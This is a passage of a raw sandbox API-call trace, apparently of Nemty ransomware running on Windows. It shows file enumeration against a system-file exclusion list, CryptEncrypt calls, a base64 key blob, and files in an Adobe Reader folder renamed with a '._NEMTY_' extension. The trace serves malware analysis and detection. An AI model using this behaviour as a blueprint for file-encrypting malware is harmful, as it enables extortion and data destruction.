lpUsedDefaultChar=0x0) returned 10 [0206.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0206.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-H", lpUsedDefaultChar=0x0) returned 10 [0206.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.061] Sleep (dwMilliseconds=0x5) [0206.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e779710, dwHighDateTime=0x1d561e8)) [0206.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e779710, dwHighDateTime=0x1d561e8)) [0206.074] GetLastError () returned 0x5 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.074] GetLastError () returned 0x5 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0206.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0206.074] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0206.074] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="hqlkrSHSpX1gMpq0uWUDv8LhVbqb/d131WU1D0vBiBPO+G0CRnsxW9S1AVVxmTTI\r\ndIYQudZe5HJrxYiLk53XplIRpdy6GHqBCDPoDbRRf6GLnQMb9Y5j8pXUqR397zsm\r\noq/IRgCphmxqonuwvWDxqak+GgT/oUmSGS5jn4corbPP4x30C7egq4ZqP1ntqTy+\r\nhDsRzpdN2tD+DKH1mKpli4cNkhOzEiXuaZxpld35WFrEh2Lf4tbrSyz4Pt7BQaBh\r\nNE2/c5wIvphoXoa4+1NVq9eYZoY/x7aLlHoScvEICteYO/XCMAk3nmGJ0BlBy/wo\r\n7dSugvtZ2lUP8CijYbVczg==\r\n", pcchString=0x653e91c) returned 1 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0206.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0206.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0206.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0206.075] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0206.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0206.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0206.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0206.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0206.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0206.183] CloseHandle (hObject=0xffffffff) returned 0 [0206.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0206.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0206.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0206.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0206.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0206.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0206.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.184] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h._nemty_kgobjgd_")) returned 0 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0206.184] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="GBPC-E~2")) returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2=".") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="..") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="...") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="windows") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="rsa") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="NTDETECT.COM") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="ntldr") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="MSDOS.SYS") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="IO.SYS") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="boot.ini") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="boot.ini") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="AUTOEXEC.BAT") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="ntuser.dat") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="desktop.ini") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="CONFIG.SYS") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="RECYCLER") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="BOOTSECT.BAK") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="bootmgr") returned 1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="programdata") returned -1 [0206.184] lstrcmpiW (lpString1="GBpc-EUC-UCS2", lpString2="appdata") returned 1 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 13 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 13 [0206.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0206.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 13 [0206.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBpc-EUC-UCS2", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBpc-EUC-UCS2", lpUsedDefaultChar=0x0) returned 13 [0206.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0206.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0206.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0206.185] Sleep (dwMilliseconds=0x5) [0206.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e9dad10, dwHighDateTime=0x1d561e8)) [0206.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e9dad10, dwHighDateTime=0x1d561e8)) [0206.324] GetLastError () returned 0x5 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0206.324] GetLastError () returned 0x5 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0206.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0206.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0206.324] CryptEncrypt (in: hKey=0x3423770, 